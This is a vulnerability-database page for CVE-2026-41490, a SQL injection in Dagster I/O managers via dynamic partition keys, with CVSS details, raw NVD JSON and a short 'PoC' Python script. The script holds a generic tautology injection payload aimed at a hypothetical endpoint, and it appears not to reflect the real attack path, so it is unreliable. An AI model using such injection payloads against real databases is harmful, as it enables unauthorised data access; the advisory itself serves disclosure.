Security Vulnerability Report
中文
CVE-2026-41490 CVSS 8.3 HIGH

CVE-2026-41490

Published: 2026-05-07 14:16:03
Last Modified: 2026-05-07 15:50:18

Description

Dagster is an orchestration platform for the development, production, and observation of data assets. Prior to Dagster Core version 1.13.1 and prior to Dagster libraries version 0.29.1, the DuckDB, Snowflake, BigQuery, and DeltaLake I/O managers constructed SQL WHERE clauses by interpolating dynamic partition key values into queries without escaping. A user with the Add Dynamic Partitions permission could create a partition key that injects arbitrary SQL, which would execute against the target database backend under the I/O manager's credentials. Only deployments that use dynamic partitions are affected. Pipelines using static or time-window partitions are not impacted. This issue has been patched in Dagster Core version 1.13.1 and Dagster libraries version 0.29.1.

CVSS Details

CVSS Score
8.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Dagster Core < 1.13.1
Dagster Libraries < 0.29.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-41490: SQL Injection via Dynamic Partition Key # This script demonstrates how a malicious partition key could be constructed. import requests # Target URL (Hypothetical) TARGET_URL = "http://target-dagster-api/partitions" # The payload attempts to inject SQL to comment out the rest of the query # or manipulate the logic, assuming the backend does: SELECT * FROM table WHERE partition = '{key}' malicious_payload = "test' OR '1'='1' --" data = { "partition_key": malicious_payload } # Sending the request # response = requests.post(TARGET_URL, json=data) # print(f"Status Code: {response.status_code}") print(f"Generated Malicious Partition Key: {malicious_payload}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41490", "sourceIdentifier": "[email protected]", "published": "2026-05-07T14:16:02.527", "lastModified": "2026-05-07T15:50:18.183", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dagster is an orchestration platform for the development, production, and observation of data assets. Prior to Dagster Core version 1.13.1 and prior to Dagster libraries version 0.29.1, the DuckDB, Snowflake, BigQuery, and DeltaLake I/O managers constructed SQL WHERE clauses by interpolating dynamic partition key values into queries without escaping. A user with the Add Dynamic Partitions permission could create a partition key that injects arbitrary SQL, which would execute against the target database backend under the I/O manager's credentials. Only deployments that use dynamic partitions are affected. Pipelines using static or time-window partitions are not impacted. This issue has been patched in Dagster Core version 1.13.1 and Dagster libraries version 0.29.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/dagster-io/dagster/releases/tag/1.13.1", "source": "[email protected]"}, {"url": "https://github.com/dagster-io/dagster/security/advisories/GHSA-mjw2-v2hm-wj34", "source": "[email protected]"}]}}